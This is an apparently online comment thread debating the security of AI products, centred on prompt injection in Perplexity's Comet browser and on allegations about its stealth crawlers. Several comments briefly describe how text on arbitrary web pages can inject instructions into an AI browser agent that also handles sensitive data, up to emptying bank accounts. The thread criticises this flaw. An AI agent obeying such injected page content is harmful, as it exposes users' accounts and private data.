This AI stuff? No excuse, it should have been designed with security and privacy in mind given the setting in which it's born. The conditions changed. The threat model is not the same. And this is well known.
Security is hard, so there's some excuse, but it is reasonable to expect basic levels.
It’s really not. AI, like every other tech advance, was largely created by enthusiasts carried away with what could be done, not by top-down design that included all best practices.
It’s frustrating to security people, but the reality is that security doesn’t become a design consideration until the tech has proven utility, which means there are always insecure implementations of early tech.
Does it make any sense that payphones would give free calls for blowing a whistle into them? Obvious design flaw to treat the microphone the same as the generated control tones; it would have been trivial to design more secure control tones. But nobody saw the need until the tech was deployed at scale.
It should be different, sure. But that’s just saying human nature “should” be different.
The payphones giving free calls was far less avoidable, virtually cost nothing to anybody and more importantly, didn't hurt anybody / threaten users' security.
I don't buy into this "enthusiasts carried away" theory; Comet is developed by a company valued at 18 billion US dollars in July 2025 [1]. We are talking about a company that seriously considers buying Google Chrome for $34.5 billion.
They had the money required for 1 person to think 5 minutes and see this prompt injection from page content from arbitrary internet places coming. That's as basic as the simplest SQL injection. I actually can't even imagine how they missed this. Maybe they didn't, and decided to not give a fuck and go ahead anyway.
More generally I don't believe one second that all this tech is largely created by "enthusiasts carried away", without planning and design. You don't deal with multiple billion dollars this way. I will more gladly take "planned carelessness". Unless you are describing, by "enthusiasts carried away", the people out there that want to make quick money without giving any fuck to anything.
> Perplexity AI has attracted legal scrutiny over allegations of copyright infringement, unauthorized content use, and trademark issues from several major media organizations, including the BBC, Dow Jones, and The New York Times.
> In August 2025, Cloudflare published research finding that Perplexity was using undeclared "stealth" web crawlers to bypass Web application firewalls and robots.txt files intended to block Perplexity crawlers. Cloudflare's CEO Matthew Prince tweeted that Perplexity acts "more like North Korean hackers" than like a reputable AI company. Perplexity publicly denied the claims, calling it a "charlatan publicity stunt".
Yeah… I see I blocked PerplexityBot in my nginx config because it was hammering my server. This industry just doesn't give one shit. They respect nobody. Screw them already.
Tech is not blissful and innocent, and certainly not AI. Large scale tech like this is not done by some blissful / clueless dev in their garage, clueless and disconnected from reality. And this lone clueless dev in his garage phantasm actually needs to die. We need people thoughtful of consequences of what they do on other people and on the environment, there's really nothing desirable about someone who doesn't.
Just me, my soldering iron, my garage, and my $4B of Nvidia H100s
Ok but AI doesn't need a special whistle that 0.1% of people have, you just hane it text by whatever means is available. 100% of users have the opportunity for prompt injection on any site that accepts user input. It's still a fairly different story.
Must we learn the same lessons over and over again? Why? Is our industry particularly stupid? Or just lazy?
Rather: it's perpetually in a rush for business reasons, and concerned with convenience. Security generally impedes both.
Information security is, fundamentally, a misalignment of expected capabilities with new technologies.
There is literally no way a new technology can be "secure" until it has existed in the public zeitgeist for long enough that the general public has an intuitive feel for its capabilities and limitations.
Yes, when you release a new product, you can ensure that its functionality aligns with expectations from other products in the industry, or analogous products that people are already using. You can make design choices where a user has to slowly expose themselves to more functionality as they understand the technology deeper, but each step of the way is going to expose them to additional threats that they might not fully understand.
Security is that journey. You can just release a product using a brand new technology that's "secure" right out of the gate.
I'm sorry but that's a pathetic excuse for what's going on here. These aren't some unpredictable novel threats that nobody could've reasonably seen coming.
Everyone who has their head screwed on right could tell you that this is an awful idea, for precisely these reasons, and we've known it for years. Maybe not their users if they haven't been exposed to LLMs to that degree, but certainly anyone who worked on this product should've known better, and if they didn't, then my opinion of this entire industry just fell through the floor.
This is tantamount to using SQL escaping instead of prepared statements in 2025. Except there's no equivalent to prepared statements in LLMs, so we know that mixing sensitive data with untrusted data shouldn't be done until we have the technical means to do it safely.
Doing it anyway when we've known about these risks for years is just negligence, and trying to use it as an excuse in 2025 points at total incompetence and indifference towards user safety.
+1
And if you tried it wouldn’t be usable, and you’d probably get the threat model wrong anyway.
Financially motivated to not prioritize security.
It's hard to sell what your product specifically can't do, while your competitors are spending their time building out what they can do. Beloved products can make a whole lot of serious mistakes before the public will actually turn on them.
"Our bridges don't collapse" is a selling point for an engineering firm, on something that their products don't do.
We need to stop calling ourselves engineers when we act like garage tinkerers.
Or, we need to actually regulate software that can have devastating failure modes such as "emptying your bank account" so that companies selling software to the public (directly or indirectly) cannot externalize the costs of their software architecture decisions.
Simply prohibiting disclaimer of liability in commercial software licenses might be enough.
Call yourself whatever you choose, but the garage tinkerers will always move faster and discover new markets before the Very Serious Engineers have completed the third review of the comprehensive threat model with all stakeholders.
Yes, they will move fast and they will brake things, and some of those breakages will have catastrophic consequences, and then they can go "whoopsy daisy", face no consequences, and try the same thing again. Very normal, extremely sane way to structure society
The only reason this works out the way it does is because certain governments have been corrupted by business interests to the point that businesses don't have to face any accountability for the harm that they cause.
If companies were fined serious amounts of money and the people responsible went to prison if they committed gross negligence and harmed millions of people, the attitude would quickly change. But as things stand, the system optimizes for carelessness, indifference towards harm, and sociopathy.
Nobody cares about bridges collapsing if you built the first bridges and none have collapsed yet from the couple first folks trying them out, though.
It's only when someone tries to drive their loaded ox-driven cart through for the first time that you might find out what the max load of your bridge is.
its a steady stream of naive start ups run by people who think starting a company is something you do at the beginning of your career with no experience vs the end of your career with decades of experience.
LLMs can't learn lessons, you see, short context window.
The winner (financially, and DAU-wise) is not going to be the one that moves slowly because they are building a secure product. That is, you only need security when you are big enough to either have Big Business customers or big enough to be the target of lawsuits.
The way it compares is that we've had 30 years to learn from our mistakes (and apparently some of us have failed to).
Very poorly, because no matter how bad it was then, at least now we know better.
1. It's novel, meaning we have time to stop it before it becomes normalized.
2. It's a whole new category of threat vectors across all known/unknown quadarants.
3. Knowing what we know now vs. then, it's egregious and not naive, contextualizing how these companies operate and treat their customers.
4. There's a whole population of sophisticated predators ready to pounce instantly, they already have the knowledge and tools unlike in the 1990s.
5. Since it's novel, we need education and attention for this specifically.
Should I go on? Can we finally put to bed the thought-limiting midwit take that AI's flaws and risks aren't worth discussion because past technology has had flaws and risks?
this kicks ass